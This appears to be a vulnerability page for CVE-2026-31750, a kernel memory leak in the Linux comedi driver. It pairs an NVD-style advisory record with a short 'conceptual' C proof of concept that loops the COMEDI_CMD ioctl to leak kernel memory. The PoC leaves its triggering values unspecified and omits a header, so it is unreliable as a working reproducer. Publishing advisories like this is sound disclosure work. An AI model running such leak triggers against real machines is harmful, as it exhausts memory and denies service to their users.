CVE-2026-31750

#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/comedi.h> // Conceptual PoC for CVE-2026-31750 // This code attempts to trigger the memory leak in the comedi subsystem // by invoking the ioctl in a way that hits the exceptional exit path. int main() { int fd; struct comedi_cmd cmd; // Attempt to open a comedi device (requires hardware or dummy driver) fd = open("/dev/comedi0", O_RDWR); if (fd < 0) { perror("Failed to open /dev/comedi0"); return 1; } // Initialize command structure to trigger the vulnerable path // Specific values depend on the driver implementation to force the error case memset(&cmd, 0, sizeof(cmd)); printf("Triggering memory leak..."); for (int i = 0; i < 10000; i++) { // The COMEDI_CMD ioctl triggers do_cmd_ioctl // If an error occurs before runflags is set, the leak happens int ret = ioctl(fd, COMEDI_CMD, &cmd); if (ret == -1) { // Expected error path where leak occurs } } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31750", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:37.850", "lastModified": "2026-05-07T19:13:00.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncomedi: runflags cannot determine whether to reclaim chanlist\n\nsyzbot reported a memory leak [1], because commit 4e1da516debb (\"comedi:\nAdd reference counting for Comedi command handling\") did not consider\nthe exceptional exit case in do_cmd_ioctl() where runflags is not set.\nThis caused chanlist not to be properly freed by do_become_nonbusy(),\nas it only frees chanlist when runflags is correctly set.\n\nAdded a check in do_become_nonbusy() for the case where runflags is not\nset, to properly free the chanlist memory.\n\n[1]\nBUG: memory leak\n backtrace (crc 844a0efa):\n __comedi_get_user_chanlist drivers/comedi/comedi_fops.c:1815 [inline]\n do_cmd_ioctl.part.0+0x112/0x350 drivers/comedi/comedi_fops.c:1890\n do_cmd_ioctl drivers/comedi/comedi_fops.c:1858 [inline]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/29f644f14b89e6c4965e3c89251929e451190a66", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/830c848aba9f047eb6b34288975ebeb8e8621451", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}